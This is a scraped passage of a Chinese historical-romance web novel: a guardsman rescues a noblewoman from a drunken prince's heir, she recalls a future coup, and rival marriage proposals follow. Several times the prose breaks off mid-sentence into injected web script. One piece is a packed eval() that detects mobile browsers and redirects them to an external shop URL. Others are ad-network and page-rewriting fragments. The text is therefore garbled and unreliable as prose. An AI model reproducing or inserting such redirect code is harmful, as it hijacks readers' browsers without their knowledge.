男人低沉的声音仿佛从很远的地方传来,郑来仪眸中的戮意淡了几分,颤抖着抬起头,叔山梧那双黑白分明的眼睛正看向自己。 他的视线落在郑来仪裸露的肩头,只一瞬便移开了视线,抬手解开胸前的披风,盖在她身上,而后转过头去。 “叔山梧!你——你什么时候来的?!” 李德音被叔山梧强劲的力道搡开,身体撞到木质的板壁发出沉重的声响,等回过神来发现来人是谁,愈发怒火中烧。 “狗奴才!!敢抢本世子的女人!!你也不看看自己是什么身份,配得上国公府的——啊!!” 叔山梧一只脚踩在了李德音的手上。 “她不是谁的女人,她只属于她自己。” “至于我配不配得上,轮不到你来告诉我。” “啊啊啊——!快松——”李德音的手被他踩在脚底,痛得酒立时醒了一半。 “你这狗——!” “世子爷请记住,家养的狗,逼急了也是会咬人的……”叔山梧缓缓蹲下身子,手上寒光一闪,是那把曲柄匕首。 李德音大惊失色:“你!你要做什么?!你好大胆子!敢携兵刃入皇宫?!!” 叔山梧冷笑一声,“卑职乃北衙禁军,天子近卫,不带刀如何保护皇帝安全?” 匕首寸寸出鞘,寒光闪动,他右手持刃,将刀锋贴在了李德音的手背。 他垂目看向他那只右手,方才郑来仪凄厉的呼救声在耳边回响,眸色中戾光闪动,想用刀狠狠将他那只为非作恶的手刺穿、听他惨叫,让他再也不能行非分之事。 叔山梧移开脚,李德音连忙要将手抽回,他手中的匕首却加了两分力道,刀刃贴着他手腕位置,割出了一线血珠。李德音不敢再动,痛苦地叫出声。 “手!!我的手!!” “住手。叔山梧。” 榻上人低声制止,叔山梧眸中的戮意淡了些,缓缓将匕首移开。 李德音忙不迭将手抽回,双脚抵着地面,整个人向后蹭去,直到后背贴上了墙壁。 他此时已经完全醒了酒,看见榻上凌乱可怜的人影,歉声道:“椒椒,你没事吧?怪我……是我喝多了……我不是要伤害你的,我、我怎么舍得伤害你呢……” “喝多了?” 叔山梧眸中是深深的嫌恶,冷声道,“不要拿酒作借口。酒后乱性,不配为人。” “叮”一声,他手中出鞘的匕首转过一个弧度,擦着李德音的耳朵插进他身后的门板。 耳朵上一凉,方才后知后觉,应是被刀锋割破了。 世子爷惊恐万状地叫了起来,身下涌出汩汩热流,竟忍不住便溺。 李德音从未在叔山梧的眼中见到过如此残酷的表情,他不敢抬手去擦,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672782|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识打了个寒噤。 叔山梧站起身来,居高临下地看着李德音,冷声道:“世子去换身衣服吧,殿前失仪可不好。” 李德音一只手摸到身后的门板,颤颤巍巍地站起身来,想朝贵妃榻上望一眼,再徒劳地和郑来仪解释些什么,却被叔山梧默不作声地移开一步,挡住了他的视线。 他扶着楼梯,狠狠瞪一眼面前的人,狼狈不堪的身影消失在视线中。 一室静谧,不知过去了多久。叔山梧转过身,走到郑来仪的面前。 “你……怎么样?还能动么?” 郑来仪一只手紧紧攥着披风的领口,垂着眼,一句话也不说。 叔山梧小心翼翼地靠近床榻,看见她藏在披风下的手,依旧紧紧攥着那支翡翠簪,低声道:“没事了,你——” 她猛地抬头,突然歇斯底里地出声:“你能不能离我远一些?叔山梧,我不需要你来救!你走开!走得越远越好!!” “你一定是故意的……故意要看我出丑,故意躲在暗处,看我这副狼狈的样子!为什么不早点来?!为什么?!!” 似乎一看到他,自己的理智就会全然崩塌。郑来仪泪眼婆娑,从低声的呜咽变为悲愤的痛诉,方才的镇静不复存在,话中前后矛盾也浑然未觉。 叔山梧不作半分辩解,只沉声道:“是我来晚了,抱歉。” 郑来仪一只手攥着领口的披风,另一只手胡乱地抹了下眼泪,裸露的右臂暴露在视线中。 方才李德音力气太过霸道,箍着她手臂时,缠在上臂的金跳脱被他死死按进肉里,在雪白的皮肤上留下了醒目的红痕,有些地方甚至开始渗血。 “你的手臂……”叔山梧低声提醒。 郑来仪顺着他的视线,伸手要将那串压在伤口上的金跳脱取下来,一时松开了披风,胸口往上顿时没了遮挡。 叔山梧看着她手忙脚乱地重新抓起披风遮好自己,问:“我来帮你么?” “不用。”郑来仪断然拒绝,看向叔山梧,“你……转过身去。” 叔山梧顺从地背过去,听见身后窸窸窣窣地动静,夹杂着郑来仪低低的痛嘶声。 那串金跳脱份量不轻,从手腕到上臂缠绕了十数圈,好不容易取下来,她已经出了一头的汗。 “你可以自己走么?”叔山梧背着身问她。 郑来仪咬唇不作声,她感觉自己的身体如同散架一般,硬是忍着四肢的酸痛挪到了榻边,双手撑着榻沿要站起身来。 这才发现自己从腰往下都不受控制,腿一软,整个人便向前栽倒。 叔山梧听见身后的动静,迅速转身,将人抱住。 清甜的栀子香盈怀,与之鲜明对比的是她愠怒的声音:“放开我!” 叔山梧松了几分力道,却又没有全然放开,一只手隔着披风托住她,将人重新扶坐到榻上,方才松开手。 软玉温香的触感让他手心出了汗,在袍袖下默默张了张五指。 “我去喊人过来,你在这等我。” 郑来仪知道这应当是最合理的办法,她不可能以这副样子出现在众人面前,尤其是和他一起。她皱着眉打量着他们所处的地方,四周黑洞洞的,声音不自觉在发抖:“你去吧。” 叔山梧静静看了她一会,知道她在嘴硬,其实心里怕得要死。他却并未戳破,只是退后一步。 “好,我去去就回。” 刚走到楼梯口,听见后面的人颤抖着出声:“等等……” 叔山梧脚步一顿,回过头。 月光照在郑来仪的脸上,她抿着唇,嘴角微微下撇,眼角泪痕未干,带着几分不甘和倔强。 “……这里,有点黑……” 叔山梧沉吟了一会,大步走到贵妃榻的对面,“哐当”一声将两扇雕花木门推开。 明亮的月光照了进来,室内一时亮了许多。 “这样好一点么?” 从郑来仪的角度,能看见门外露台上的雕花栏杆。深蓝色的夜空中繁星满天,虫鸣声阵阵,夏夜的暖风从敞开的门吹进来,将她身上的披风拂动了。 她缓缓地站起身,迎着光,从黑色的阴影里迈出来,朝着门边走了过去。 34. 宝剑相持赠 郑来仪的鞋子在方才的混乱中不知去了哪儿,她赤着脚一步步走到了室外,双手扶在了栏杆上。 玉京城星罗棋布,点点灯光镶嵌在棋盘一样的坊市中,眼前好一番盛世太平的景象。 她在露台上临风而立,喃喃道:“这里是……” “翙羽阁。皇宫禁苑。”叔山梧的声音在身后响起。 郑来仪心头一颤。 玉京城北高南低,紫宸宫正位于城北的龙首原。而他们此时所处的翙羽阁又位于紫宸宫靠北部的内廷,所处之处,皇宫乃至整个都城的景象一览无余。 太平岁月时,这里是皇帝最爱的登高观景之处。 夜风陡然变凉,繁华皇城里星星点点的灯光在郑来仪的视线中逐渐模糊,幻化成灰黑的浓烟。随处可见墨色旌旗,如同片片黑色浓云遮蔽天日,金线描着的“叔山”二字在深暗的底色上熠熠闪光。如雷的马蹄声、兵士喊杀的声音、刀剑相交的金石之声夹杂着绝望的哭号,遥遥传至耳边。 “来仪。” 李德音身着明黄衮服,一只手落在郑来仪单薄的肩头。因为靠得近,她能听出他声音中的恐惧与憎恨。 “他真的杀进来了……” 身处末路的皇帝声音发颤,似在对郑来仪说话,又似乎是在说服自己:“……朕即位不满月余,朕从来不曾苛待叔山氏,他们只是为了勤王,苍梧王不会对朕——” 身后响起小黄门低低的啜泣声。 李德音似是猛然惊醒,转身怒斥一屋子涕泪纵横的宦者:“哭什么?!若不是你们主子蒙蔽圣听贻误军情,大祈何至于落到今日下场!!” 他狠狠咬牙,血红的眼睛瞪视昏暗的阁内。 地板上躺着一人,紫袍金带,双目圆睁,胸口还插着一把匕首,鲜红的血在他身下流淌开来,如同舆图上纵横蜿蜒的河道。 李德音按在郑来仪肩头的手倏然收紧,扳住她双肩,将她带转身,努力去看她的眼睛:“来仪,朕已经杀了袁振,苍梧王他……不会把路走绝,对不对?!” “朕和他曾以兄弟相称!朕可以给他们封王封地,朕、朕愿意……朕愿意与他叔山氏共分天下,只要他不赶尽杀绝!!何况……何况还有你在这里,来仪,他总不能、总不能不顾念夫妻之情!!” 皇帝声音嘶哑,原本端正的面容变得狰狞,他猛烈地摇晃着郑来仪,似在摇晃一支单薄的蒲草,仿佛只要一松手,她就会被风吹走。 郑来仪隔着栏杆望向宫墙外某处,贝齿咬紧下唇。平康坊的宅院里火光冲天,亭台楼阁树木植被已经被烧得不辨形状。 “夫妻之情……”她望着坊市上方的黑烟,喃喃重复着。 “朕知道,叔山梧早有不臣之心,可他总不能不顾念与你的结发之情,来仪,如今朕只能靠你……” “李德音。” 男人低沉的嗓音近在咫尺。皇帝一震,向前两步走到栏杆边,向下望去。 翙羽阁前,万字纹铺地的院中站满了士兵。苍梧王腰挎长刀坐于马上,冷冷抬眸与皇帝对视。 他身后,一排翊卫手执火把,热气蒸腾,熏得皇帝眯起眼睛。 李德音面色惨白:“叔山梧,你要做什么?!你现在住手,朕可以不追究你……” 叔山梧左手一挥,并不欲多讲废话。拎着桶的黑甲兵得令上前,将一桶桶液体泼向阁楼。霎时间,空气中充满松香和焦油的味道。 “等、等等!”李德音情急大叫,“来仪、郑来仪……你夫人在我这里!!” 叔山梧扬眉看向楼上,皇帝拉着一个单薄的人影迅速消失在了栏杆边。 他唇线抿紧,左手向后一摆,举着火把正欲上前的士兵整齐划一地退回了原位。 阁门打开,郑来仪被皇帝挟着,踉跄几步走出了阁楼,在廊下站定。 叔山梧的视线在郑来仪平静的脸上一扫而过,并无一丝动容。 “李德音,你想说什么?” 李德音咬了咬牙,刻意忽视叔山梧的狂悖姿态:“朕、朕知道叔山氏一心为公,奸佞当道,亏得苍梧王起兵……勤王……” 他深吸一口气,继续道,“如今、如今袁振已经被朕亲手斩杀,尸身就在阁中!朕、朕可以将禁军全部交爱卿掌管,整个京畿……不、整个中州五道,均听从叔山氏号令……” 苍梧王身后环卫的一众清野军将领面露讽笑。 皇帝此言,是站在叛军立场为叔山氏拼命正名,更不惜以共治天下的代价,换取苟延残喘。不知当年戎马定江山的李氏先祖在天有灵,看到子孙如此没有气性,会作何想? 但他们并未出言讥刺,毕竟斩杀皇帝是为大逆,李氏气数已尽,李德音将社稷直接奉送,叔山氏不费吹灰之力便能幕后摄政,倒能省下不少事。 叔山集团上下早有共同的默契:今日攻入紫宸宫,能不费兵卒收归王权承接玉玺自然是上策;若是真杀了皇帝,疏塞民意倒成了一件麻烦事。要坐至尊之位,治理天下,没有必要将事情做绝。 然而苍梧王棱角分明的脸上,并未因李德音的提议有丝毫动容。 他略一抬手,身后的十几名士兵冲了上来,径直绕过了郑来仪,将身着龙袍的李德音双手反剪。 叔山梧的视线饶有余裕地停留在郑来仪身上,语声冷酷:“将夫人带回府里,严加看管。” 郑来仪被黑甲兵严阵护送着离开翙羽阁,直到走出很远,才依稀听见身后宫人们凄惨的号哭声。 “陛下……陛下……” …… 郑来仪的神思陷于回忆中,手一松,身上的披风陡然飞起,落在身后的地面。 叔山梧正要弯腰去捡,却听见她的声音:“没事,不用管它。” 他直起身,郑来仪不知什么时候已经转过身来。 “指挥使大人,我一个人在这里,也没有东西防身……”那一双剪水双瞳漾动着楚楚可怜,“——那把匕首,可不可以借我?” 叔山梧站在月光照不到的阴影里,凝视着月光下的人。她腰身盈盈一握,肌肤袒露处遍布深深浅浅的红痕,这样衣衫不整的状态,神色却难得镇静。 他移开视线,略定了心神,手按在腰间,声音有些发哑。 “这匕首是——” “我知道,是你母亲送你的。所以,不能借我么?” 不像在鹤皋山的溶洞中,他把刀塞在她手里的那一回,此刻的叔山梧似乎需要更多时间来下定决心。一阵漫长的沉默,直到郑来仪准备放弃这企图心过于明显的索要。下一刻男人持着刀的手却伸了过来。 “你知道就好。送你。” 郑来仪微怔,叔山梧的脸隐在黑暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的视线落在郑来仪露出的半截脖颈上,那里有一道淡淡的红痕,一直向下延伸,消失在围拢的帔帛下面。 郑远持声音带了怒气:“李德音?!这竖子!!竟敢对你——” “父亲,小声些。”郑来仪语气疲惫,“我没事,什么也没发生。” 紫袖哭出声来:“呜呜呜……是婢子没用,没跟紧小姐……若不是指挥使大人,险些出了大事……” 郑远持一掌拍在手边的矮几上,咬牙切齿。 “我郑远持敬他舜王三分,他这畜生儿子竟然敢对我女儿——哼!!我必定不会善罢甘休!!” “父亲,”郑来仪伸手按在郑远持的手背,“我没事,您莫要冲动。” “女儿绝不会委屈自己,今日也差一点就对他动手了……” 郑来仪沉眉。若不是叔山梧拦住了自己,今日一时冲动,事情恐怕已经闹得不可收拾。但无论如何,也不能再下意识去依赖他的保护。 她语气疲惫却认真地安抚郑远持,“女儿往后会远离他,不会再出现这样的事了,您放心吧。舜王势大,您在朝中行走,不必因为女儿树敌。” 郑远持听着女儿懂事的语气,愈发愤懑,然而终究是没再发作。 本来看舜王世子待椒椒不错,二人又是一同长大,凭借他的出身背景,倘若椒椒喜欢,也未必不是心中的佳婿人选。 可此事一出,他不去找那李德音的麻烦已经是仁至义尽了。郑远持眉眼阴沉地看着娇花一样的女儿,心痛兼后怕皆有。 他想着,四丫头的婚事,还是应当尽早定下。 35. 复会无因缘 八月初十,诸事皆宜。一大早杜府的媒人便登上了郑国公府的大门。 此次中枢官员变动中,杜境宽从兵部员外郎升从四品兵部司郎中,是兵部唯一一个得到擢升的职官。他在同僚中一向有办事漂亮不拖沓、为人直爽痛快的风评,也不因父亲是兵部的主官而有任何骄躁浮杂的作风。 作为兵部少数几个参与禁军改革的职官,圣人还特别委任他负责相当核心的禁军募兵一事。 朝臣们都暗自评价,兵部杜尚书府上,儿子倒比老子要厉害些。 李夫人和方姨娘此前已经在郑远持耳边吹了很久的口风,如今成帷又入了禁军,若境宽成了郑家的女婿,往后不少地方还能帮衬些。 郑远持看杜境宽和他那性格懦弱、凭借出身上位的父亲不大一样,倒像是个能做一番事业的儿郎,口气也渐渐松了。 郑绵韵第一时间面泛红晕地将前面传回来的消息告诉了来仪,也好奇地问她到底和杜境宽怎么说的。 “姐姐就不用管了。总之成了就好。” 对千秋节那日发生的事,郑来仪实在没什么多说的心情,“所以婚期定了么?” “哪有这么快,三书六礼,这中间复杂着呢……” 郑来仪点点头,正要说些什么,绵韵的丫鬟荇儿气喘吁吁地从外面进来。 “小、小姐,四小姐,又、又来人了!” 绵韵皱了眉:“你别着急,气喘匀了慢慢说,又来什么人了?” “又来人向小姐提亲了!平野郡王府也来、来向小姐提亲了!” 郑绵韵猛地起身:“什么?!” 她心中慌乱,第一时间转身看向来仪,后者依旧坐得安稳:“别急。父亲既然已经应允了杜府,便不会反悔的。” 绵韵看着来仪这副样子,稍稍定下心神问荇儿:“是谁来的?” “容夫人亲自来的,说是替大郎来求亲,婢子只听了一半,就匆忙回来报信了……” 郑绵韵听闻,面色又不安起来:如今叔山氏是朝中新贵,夫人亲自登门提亲,颇有几分志在必得的意思。 “王妃亲自上门,父亲真的会为了杜境宽去驳平野王府的面子么?” “自然不会。” 郑绵韵一怔。 郑来仪神色认真地纠正她:“你在想什么啊姐姐!杜境宽再好,在父亲眼里又算得上什么?但若是自家的女儿喜欢,他才不会管旁人的面子,就算是皇帝来求亲,阿耶也必会问过你的意见。” 郑绵韵神色一时动容。 身为郑府三个女儿中的老二,又是庶女,她总比长姊和四妹妹早熟一些,做事情瞻前顾后已经成了习惯,父母亲从来夸她“乖顺懂事”,姐妹之间相处都很和睦。但她心里总明白,长辈们待她和来仪,总是不一样的。 这世上的手足之间,没有不曾受过偏爱和薄待的。在郑国公府的姊妹之间,这样的偏差已经细微到不可估计了。 更何况长姊郑薜萝当初嫁给房速崇的长子房遂宁,也并非她自己的本来意愿。郑绵韵从来没指望过自己的婚姻能完全自主,而她也全然接受。 来仪能说出这样的话,正因她从小就生活在父母的纵容爱护中,才有如此的自信,也顺理成章的认为三姐姐也会有这样的待遇。 郑绵韵压过心中微澜,伸手握住妹妹,笑了笑再没多说什么。 郑来仪不知绵韵心中所想,只当她是担心嫁不成杜境宽而忧虑,只调笑道:“姐姐,回头你和杜境宽的事,我可得要头一份礼!你看看,倘若我没及时去和那姓杜的说,他是不是就晚来一步了?” 绵韵脸上顿时红成一片,也跟着笑道:“给你包一个最大的红包!行了吧?” 姐妹俩正在笑闹,紫袖又从外面进来了,神情和方才的荇儿一模一样。 郑来仪脸上的笑顿时收敛,心头涌上一股不详的预感。 “平野郡王妃来替叔山柏求亲,求的是……四姑娘!” - 天刚微亮。玉京城东北方笔直的大道上,一支短小精悍的队伍正缓缓靠近都城。 这支队伍约莫只有二十来人,却有严阵肃穆的大军气质。将领身着明光铠,纵马当前,两骑卫兵披甲执锐一左一右随后,剩余士兵身着黑色戎服,手执锐兵徒步行进,行动整齐划一,一看便是素有规矩的专业军人。 队伍在紧闭的东城门外停下,领队右手的副将翻身下马,绕行上前,双手捧着一卷明黄卷轴,中气十足地朝着城门上喊话。 “平野郡王、奉州节度使叔山寻奉召归都,请予通行!” 四野阒然,晨间的雾气笼罩着森然紧闭的城门,除了零落的鸟鸣,一时间不闻人声。 那副将等得不耐烦,正欲提高声音再禀告一次,却见叔山寻一抬手:“不必急,朝义。” 蒋朝义耐着性子,终于听见城门后传来一阵动静,“吱吱嘎嘎”的声音中,两扇巨大的黑色城门缓缓打开。 “踢踏”的马蹄声清脆,洞开的城门后,有人纵马穿过晨雾,缓缓而出。 蒋朝义看清了来人的形象,面上露出喜出望外的神色:“二——” “请郡王爷卸甲除兵后,由此入城。” 叔山梧坐在马上,冷冷扫一眼叔山寻身后寥落的人马,“其余人在城外等候。” 蒋朝义愕然转头去看叔山寻,只见他仰着头,对着眉眼冷酷如同陌路的二郎,缓缓笑了起来。 叔山寻朝着叔山梧一拱手,从容道:“那便有劳指挥使大人带路。” 他转过身,将佩刀交给一旁的卫兵,张开手臂,示意蒋朝义为他卸甲。 蒋朝义上前,一边帮着叔山寻解除身上的盔甲,一边低声:“将军,二公子他……” 叔山寻语气淡然地纠正:“是禁军指挥使。皇城戒律森严,你我自然应当遵守。你带兵就地扎营,等我消息。” 蒋朝义神色复杂地看一眼马上的人,点头应是。 一轮红日从地面线露出头角,光芒映在城门牌匾上,“解甲门”三个大字熠熠闪光。宽而深的门洞里,一黑一白两骑马并行向内,父子二人之间如有天堑相隔。 时辰还早,玉京城内除了几家贩卖朝食的铺子里飘出冉冉的白气,大多坊市中的楼宇和民宅都紧闭着大门,街上更是人烟寥寥。 二人一路沉默,到了主干道万祀大街上,叔山梧一勒缰绳。 “前面不远便是崇业坊,王爷自便,末将这便失陪了。” “阿梧。” 叔山梧马头调转一半,动作微顿。 “你在玉京这些时日,可还适应?” “没什么不适应的。都城繁华,总比边关强得多。”马儿在原地来回踏着步,他头也没回,不耐地扯着缰绳。 叔山寻沉默半晌,方道:“听说你一直没有回过王府,一直宿在衙署,是么?” “我说过,那里不是我的家。” 叔山梧看了一眼前方崇业坊巨大的牌楼,坊市中渐有热闹的人声传来,他淡淡移开视线,而后彻底掉转了马头。 “您若是没有其他的事,我就先走一步 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,军中事忙。” 叔山寻在他身后提高了声音:“所以你应当不知道,夫人已经代你兄长向国公府提亲了吧?” 叔山梧扯着缰绳的手松了松。 “难得为父回来,今日随我回一趟家吧。”叔山寻的声音从身后靠近,第一次放软了姿态。 叔山梧抿唇,朝着不远处跟着的两名禁军士兵一抬手:“你们先去吧。” “是,指挥使大人。” 待两名士兵远去了,叔山寻意态不明地笑了起来:“指挥使大人好气派。” 叔山梧看了父亲一眼:“这样的气派,节度使大人应当能感同身受。” 叔山寻面上笑意一时收敛。 叔山梧这个禁军指挥使的位置缘何而来,他未必了解全部的细节,而朝廷是否已经完全对叔山氏放下心中芥蒂,叔山寻却有清醒的自知之明。 有的东西看上去是一呼百应的官威,实则不过是在你身边安置的眼线。 比如李肃举荐他成为奉州节度使,却同时将亲信李纯恩也留下做了奉州节度副使。河北说到底,依旧是李氏的势力范围。 这里不是讨论这样话题的地方,叔山寻语气一变:“所以那日为父问你,到底喜不喜欢那郑家丫头,你并未和我说实话。” 叔山梧抿着唇,没有说话,神态倔强。 “咱们还是不要站在这里说话吧。” 叔山寻将二郎的反应尽收眼底,夹了下马腹,自管朝着平野郡王府的方向走,隔了一瞬听见身后响起拖沓的马蹄声,嘴角勾起笑意。 “其实我也是才知道。王府的书信昨夜才送到奉州驿站,五日前夫人亲自登了国公府的门。正逢陛下唤本王回都议事,否则,也许阿柏把人娶进门了你都不知道。” “不会的。” 叔山寻扬眉,转头看向自己儿子。后者神色中一时看不出波澜,状似平静地反问自己:“难道国公府同意了?” “没有。郑国公夫妇爱女如命,只说需得先问过四姑娘自己的意思。”叔山寻神色淡淡。 叔山梧哼笑一声,“我看也是。” “不过,”叔山寻看着他这幅样子,语气放慢,“国公府似乎对你兄长很是满意,国公夫人还十分歉意地解释,说本来也有意和王府结亲,不巧此前相看的三姑娘已经许配出去了。他们已经收下了大郎的庚帖,只要四姑娘点头就行。” “她不会点头的。”勒马的人语气冷硬了几分。 “你怎么知道?” “……她那样的出身,如何会看上叔山氏的门第?” 叔山寻还不曾见过二郎这样的姿态,那副骄矜的外表之下到底咂摸出了些其他的意味。他唇角一勾:儿子再横,如何敌得过老子? “她父母亲都看得上,她为何看不上?” 叔山梧神色变冷,没有接话。 “况且,你不是也知道,她不看重门阀背景、能力样貌,唯一只看真心与否……”叔山寻别有深意地提醒。 叔山梧无法反驳,这是烧尾宴那夜,他们父子二人在王府假山后听到的郑来仪的原话。 叔山寻摇了摇头:“或许是玉京的高门贵女们见多了家世显赫的青年才俊,反而追求起画本里说的神仙姻缘吧。这郑四小姐但求一心人,说难也难,说容易也容易……” 他叹息般道,“毕竟真心这样的东西,谁又能一眼判明?” 平野郡王府的大门出现在长街尽头。 叔山寻在阶下勒马,转头却见二郎依旧停在十步之外,眸色冷厉。 36. 寄人篱下处 叔山寻翻身下马,信手将缰绳交给迎上前来的家丁,冲着叔山梧道:“怎么不过来?” “所以您当初也是这样骗过母亲的么?” 叔山寻面上一僵,笑意瞬间消失。 “您就是用所谓真心骗她远离家乡、舍弃一切,一路跟着您,直到最后凄凉地死在——” “住口!” 叔山寻怒不可遏,低吼出声:“你这竖子,居然敢提你母亲!若不是因为你,她怎么会死?!” 叔山梧抬眼看向平野郡王府气派的院门,眸色幽深如墨,点点头:“对,我也不配提她。就让她安心转世,下辈子不要再碰到我们这样的人家……” “你——!”叔山寻一时气结。 叔山梧的视线落回他身上,如同看一个不相干的陌生人:“我不会进去的,这里不是我的家。我绝无可能与他们共处同一屋檐下。” 叔山寻怒极反笑,点头道:“好!你小子硬气!烧尾宴那日还不是踏进我府门?!” “是我愚蠢,妄想您还会记得,那日是她诞辰。” 叔山梧的声音扬了起来,阶下的人反而沉默,笔挺的肩背似乎塌下几分。 “就当母亲从未存在过,而我也离平野郡王府越远越好。这不是如您所愿么,父亲?” 他冷冷的咬着最后两个字,这是重逢后第一次这么称呼叔山寻。 街道那一头,人声愈发熙攘,繁忙的早市揭开序幕。这对父子站在空旷的郡王府门前,沉默地对峙。廊下的阍者远远站着不敢上前,似乎这已经成为家主和二公子之间的常态。 “对……你说得对,今日我叔山寻所拥有的一切,皆如我所愿……” 叔山寻眼角的沟壑益发深了,他缓缓转过身去,声音沉重而疲惫。 “本王不送,指挥使大人好走。” 叔山梧纵马穿过热闹的早市,沿途遇到执勤的禁军士兵,见到他便原地立定,向上官行礼,而他恍若未见,始终眉峰冷峻,马蹄不停。 他没有再回解甲门。身为指挥使,城门守卫这样的事本就不需他亲自去做。 他在北衙司庄严气派的狮子门前下马。门前两个守卫的兵丁见指挥使大人脸色难看,都心生畏惧,相互退让了一番,其中一个叫贾二的硬着头皮上来,接过叔山梧手上的缰绳,却没有立即去栓马,面色犹豫似是有话要说。 “讲。”叔山梧脚步不停迈上台阶。 “是、大人……有、有客人来衙署找您……”贾二结巴着小步跟在后面。 “什么人?” “是、是……” 贾二支支吾吾地说不出来,看他面色,似乎也并不清楚来客的底细。 自叔山梧接掌北衙六军以来,总有人慕名来衙署,要求见指挥使大人。有的心存结交之意,有的是来探查虚实,有的则纯属对这位禁军有史以来最为年轻的指挥使好奇。 而他对这种毫无意义的交际十分抵触,早就交代过,遇到这种闲的没事上门的客人,一律请他们打道回府。 他皱眉:“人呢?” “已经进去了,长史大人陪着进去的,让小的在门口迎您……是、是个女客,带着幂篱……” 叔山梧掀眉看了贾二一眼,“带我过去。” “是。” 贾二引着叔山梧穿过前堂,进了内院,在指挥使的书房门前停下了。 “大人,就在里面。” 叔山梧撩起衣袍下摆,推开门。 书房内,一个身着绯色衣裙的少女背着手,正饶有兴致地四处打量。一个身着官服的中年人局促地守在门边,正是北衙司的长史。看这情形,一时间竟分不清他和那少女谁才是北衙司的主人。 长史一见上官来了,连忙打起精神迎上前:“大人,您回来了!” 那少女闻声回头,看见门边的叔山梧,喜悦之情溢于言表:“指挥使大人!” 叔山梧看清少女的脸,转头皱眉看向长史,眸中严厉之色叫人不禁瑟缩。 “大、大人,这位是吏、吏部尚书伍、伍大人的女——” 贾二站在门外听着,心里自在了些。看来不光是自己,连长史面对指挥使的气场都会发怵,打磕巴的姿势都一模一样。 “不用你介绍!” 伍暮云打断长史,快步走到叔山梧面前,屈膝行礼,“奴家闺名暮云,我爹爹是——” “不是说了,无关之人概不接见么?” 叔山梧并未多看伍暮云一眼,只冷冷地责问长史。 长史一手心的汗,在官服下摆悄悄擦了擦,飞快地瞄了一眼伍暮云,只能将长官的斥责生生应下:“是、是、是下官失职……下官也是看伍小姐似乎有要事……” 他心中大感冤枉,自己身为一个禁军长史,如何对找上门来的吏部尚书家的小姐说不?况且人家说有事找指挥使大人,他怎好多问是什么事? “你有什么事?” 叔山梧的视线终于转回伍暮云,后者面上泛起一片娇羞的红晕,正要开口,想到什么,又转头对局促不安的长史道:“你先出去!” 长史如蒙大赦,正要转身,突然被叔山梧叫住:“北衙司接待来访,长史官需全程在场,负责记录,以便追溯。伍姑娘有何事要报?” 伍暮云一滞,无措地看向长史,后者也一脸尴尬地看着她。 “我、我……”她咬了咬牙,“我没有事要报,我有话和你说!” 长史连忙道:“那下官不耽误大人和姑娘说话,前面还有公务,下官先退下了!”说完抬腿就走,一点反应的时间都不给叔山梧,出去后还迅速阖上了书房的门。 他一路小跑,及至走到前院才放缓了脚步,贾二正等在院门边,一脸八卦地等着。 “长史大人,来找咱们指挥使大人的那个姑娘是谁啊?” “看来你们今日是不忙!还有闲心在这里看戏!”长史虎起脸斥了一句,脸上端着的官威转而消失,狎笑道,“没见过这么漂亮的姑娘吧?” 贾二摇头,凑上前来,笑嘻嘻地问:“所以究竟是谁啊?” “想知道?”长史斜着眼,故意吊他胃口。 贾二张着嘴,傻笑着点头。 长史脸上笑容顿收,突地一个暴栗敲在他脑门:“你这泥腿子,还配问人家姑娘姓名!也不撒泡尿照照自己!” 他一脸艳羡地看着院里,无不惆怅地感叹着,“像指挥使这样,年纪轻轻就当上四品大员的玉京新贵,如此春风得意,他叔山家的祖坟不知在哪一块,让我也去凑凑神仙保佑的热乎气儿啊……” 贾二被他训斥,倒也不恼,他们平时和长史没大没小惯了,当下玩笑促狭的口吻,上下打量着长史干瘪细长的脸:“长史大人,依小的看啊,压根不是祖坟的事儿,您祖上就算是和叔山家一个土堆里埋着,也难保佑您生出和指挥使大人一样的外表!” “你小子——!” 长史眼睛一竖,而后泄气道,“真他娘的!老天爷真是不公!什么都让他占全了……功名利禄、门第样貌,看样子离成为伍尚书的乘龙快婿也不远了!” 两人斜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 靠在院门前扯淡,突见一袭红衣从院里脚步匆匆地出来了。贾二眼尖,连忙扯了扯长史的袖子。 长史转回脸,一看是伍暮云,连忙笑眯眯地迎上前去:“伍小——哎?” 伍暮云两眼通红,满面羞愤之色,毫未理会一脸谄媚的长史,捂着嘴跑了出去,迅速消失在二人视线中。 “这是……怎么回事?” 长史一脸纳闷,转头看见叔山梧缓步从院中出来,连忙迎上去:“大人……” 叔山梧丢过来一顶幂篱,漠然道:“报案人丢下的,叫人给她送回去。” “额——是!” 长史接过幂篱,这才发现叔山梧换了身常服,看样子是要出去,于是提步跟在他身后:“大人,您要去巡视么?属下叫几个人跟着吧……” “不用,我去办趟私事。” “哦,好的。” 长史顿住脚步,看着长官英挺的背影消失在府衙门外。 - 郑来仪以手支颐,定定地看着面前的双陆棋盘。棋盘上空无一子,只有一本薄薄的红皮册子摊开着。 紫袖端着一碗杏皮茶过来,瞥了一眼那册子,依稀看见最上面的两行字。 「平野郡王长子叔山柏,字弥茂,生于昭宁十五年正旦寅时二刻……」 她将茶碗放下,轻声道:“小姐盯着这庚帖看了两日了,可有拿定主意?” 郑来仪掀眉看她:“拿什么主意?” 紫袖不敢说话,她能听出四小姐语气中的隐隐冷意,此时答什么都是错的。她就不该问。 郑来仪垂眼,视线又移到那庚帖上,喃喃道:“昭宁十五年,正月……” 那正是叔山梧生母去世的同一年。 她突然意识到自己从中元那日拂霄山回来后,便始终觉得奇怪而又说不出口的地方。 